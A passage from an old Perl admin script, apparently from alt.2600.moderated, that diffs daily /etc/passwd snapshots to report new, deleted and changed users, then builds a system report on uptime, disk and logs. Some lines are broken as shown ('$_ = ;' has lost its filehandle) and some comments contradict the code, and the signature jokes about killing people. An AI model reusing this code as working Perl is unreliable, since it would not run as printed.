/^[^:]*/; # Select the login $tp{$&} = $_; # Assign the data to the key (the login) } } @yp_list = %yp; # So we can iterate through it $index = 0; while($yp_list[$index]) # Walk entries in yesterday's file { if($tp{$yp_list[$index]}) # It's in both... { if($tp{$yp_list[$index]} ne $yp{$yp_list[$index]}) { # But not the same... $passwd_report = $passwd_report . "Changed user: <$yp_list[$index]>\n"; $changed_users = $changed_users + 1; } } else { # It's a deleted user. $passwd_report = $passwd_report . "Deleted user: <$yp_list[$index]>\n"; $del_users = $del_users + 1; } $index = $index + 2; } @tp_list = %tp; # Now, same for today's file $index = 0; while($tp_list[$index]) { # If we have a match with yp, we don't care, because it would be # caught above. Here, we're just looking for stuff that's in tp # and not in yp. (ie, new users) if($yp{$tp_list[$index]} eq "") { # It's a new user. $passwd_report = $passwd_report . "New user: <$tp_list[$index]>\n"; $new_users = $new_users + 1; } $index = $index + 2; } if($del_users || $new_users || $changed_users) { $passwd_report = $passwd_report . "\n"; # Append a newline if there were no changes. } # Present a summary: $passwd_report = $passwd_report . "$new_users New users\n"; $passwd_report = $passwd_report . "$del_users Deleted users\n"; $passwd_report = $passwd_report . "$changed_users Changed users\n"; # Make today's file yesterday's, for tomorrow's run: if(!rename("/etc/tp", "/etc/yp")) { $passwd_report = $passwd_report . "\nWarning! Unable to rename /etc/tp to /etc/yp.\n"; $passwd_report = $passwd_report . "Tomorrow's report will be bogus!\n"; } } else # First time this is run. { system("cp", "/etc/passwd", "/etc/yp"); chmod(0600, "/etc/yp"); $passwd_report = $passwd_report . "No /etc/yp existed, so no /etc/passwd change info is available.\n"; } } # This function should take the "darwin.baz.com" line in /etc/HOSTNAME # and turn it into "baz.com". It will turn "foo.bar.baz.com" into # bar.baz.com. sub get_domain_name { open(HOSTNAME, "/etc/HOSTNAME"); # Open /etc/HOSTNAME, to get our FQDN $_ = ; chop($_); s/\w+\.//; # Strip off the machine name $domain_name = $_; close(HOSTNAME); } # Get the report on the ammount of diskspace available. sub get_uptime_report { open(UPTIME, "uptime |"); # Open df to a pipe while($_ = ) { # Append it to the report: $uptime_report = $uptime_report . $_; } close(UPTIME); # Close the pipe if(!$uptime_report) # No entries. uptime bombed? { $uptime_report = "No Entries. (HUH?)\n"; } } format ADMINREPORT = sreport v0.99 Copyright(C) 1995 Brett A. Thomas & RedCloud software. @* $email_line Administrative report for @* $host_name Generated @* $date -------------- /etc/passwd Information: @* $passwd_report -------------- -------------- Disk Space: @* $disk_space_report -------------- -------------- Uptime: @* $uptime_report -------------- -------------- Net Logons Activity for @<<<<<: $report_date @* $netlogons_report -------------- -------------- Syslog Activity for @<<<<<: $report_date @* $syslog_report -------------- -------------- Transfer Activity for @<<<<<: $report_date @* $xferlog_report -------------- -- =-GRAHAOHN BULLERS=-=AB756@FREENET.TORONTO.ON.CA=-=ALT.2600.MODERATED-= Lord grant me the serenity to accept the things I cannot change.The courage to change the things I can.And the wisdom to hide the bodies of the people =-=-=-=-=-=-=-=-=I had to kill because they pissed me off=-=-=-=-=-=-=-=-=-=